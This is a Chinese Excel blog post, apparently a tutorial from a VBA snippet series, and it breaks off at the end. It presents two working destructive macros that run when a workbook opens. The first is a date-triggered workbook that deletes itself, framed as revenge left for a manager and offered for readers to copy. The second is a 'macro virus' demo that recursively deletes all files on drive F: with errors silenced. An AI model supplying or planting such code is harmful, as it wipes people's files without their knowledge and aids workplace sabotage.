专栏名称: Excel之家ExcelHome
excel技巧原创教程每日推送,excel表格职场模板干货仓库,图文/视频/动画等多种教学方式分享excel操作技巧教程/excel函数公式教程/excel数据透视表教程/excel图表教程/Word教程,助您轻松提高办公效率!
目录
相关文章推荐
Excel之家ExcelHome  ·  AI时代Excel会被淘汰?LOOKUP函数 ... ·  3 天前  
Excel之家ExcelHome  ·  COUNTIF函数的11个典型用法 ·  2 天前  
Excel之家ExcelHome  ·  WPS接入DeepSeek,无需配置,完全免费 ·  3 天前  
完美Excel  ·  巧用COUNTA函数统计单元格数,但deep ... ·  4 天前  
完美Excel  ·  使用deepseek在Excel用户窗体中生 ... ·  3 天前  
51好读  ›  专栏  ›  Excel之家ExcelHome

VBA常用小代码206:制作“自杀和杀手”Excel工作簿

Excel之家ExcelHome  · 公众号  · Excel  · 2017-10-23 07:14

正文

1,

……Long Long Ago……

山的那边海的那边……有位Excel高手……他在一家电子商务公司上班。

他有一份Excel工作簿,通过VBA编程将日常工作通通自动化了。他每天闲的除了喝王者农药就是剁手逛淘宝,他主管看他不顺眼,三番两次刁难他。于是他耸耸肩宣布辞职……

临走前,他将那份神奇的Excel工作簿留给了主管。主管觉得那份Excel工作簿真好用,公司没有必要再招新员工了;主管又觉得那孩子真傻,这么好的东西居然白白留给公司,真是个二货啊……

过了几天,主管打开那份Excel工作簿,打算像往常那样鼠标点点处理问题,Excel突然弹出一条信息:

主管一脸懵逼……

然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。

如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出就可以了。


Private Sub Workbook_Open()

If Date >= " 2017-10-1 " Then

Application.DisplayAlerts = False

MsgBox "你好,二货!你相信Excel会成精吗?" & vbCr & "表格我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。"

With ThisWorkbook

.Saved = True

.ChangeFileAccess xlReadOnly

Kill .FullName

.Close

End With

End If

End Sub


该段代码使用了工作簿打开事件,顾名思义,就是工作簿打开时执行相关代码。它设定的自杀条件是,当前电脑时间大于等于2017年10月1日。您可以根据自身需要进行相应调整……

2,

聊完了“自杀”,咱们再聊“杀人”……

宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户帐号密码……等等。

以为这很高级?很复杂?和你很遥远?非黑客不能为?

错!

其实这些事儿很简单。

举个小例子。

还记得吗,上期我们分享了批量删除Excel工作簿的小代码。如果借助Excel工作簿打开事件,结合那期的代码,当你启用宏,打开含该代码的工作簿,然后……你就会发现电脑F盘中大量的文件都被删除了。

代码:


Private Sub Workbook_Open()

p = "F:\"

Call Killy(p) \ '调用FSO遍历子文件夹的递归过程

End Sub

Function Killy(p)

On Error Resume Next

Application.DisplayAlerts = False

Set fld = CreateObject("Scripting.FileSystemObject").GetFolder(p)

Kill fld.Path & "\*.*"

For Each fd In fld.SubFolders

Call Killy(fd.Path)

Next

End Function







请到「今天看啥」查看全文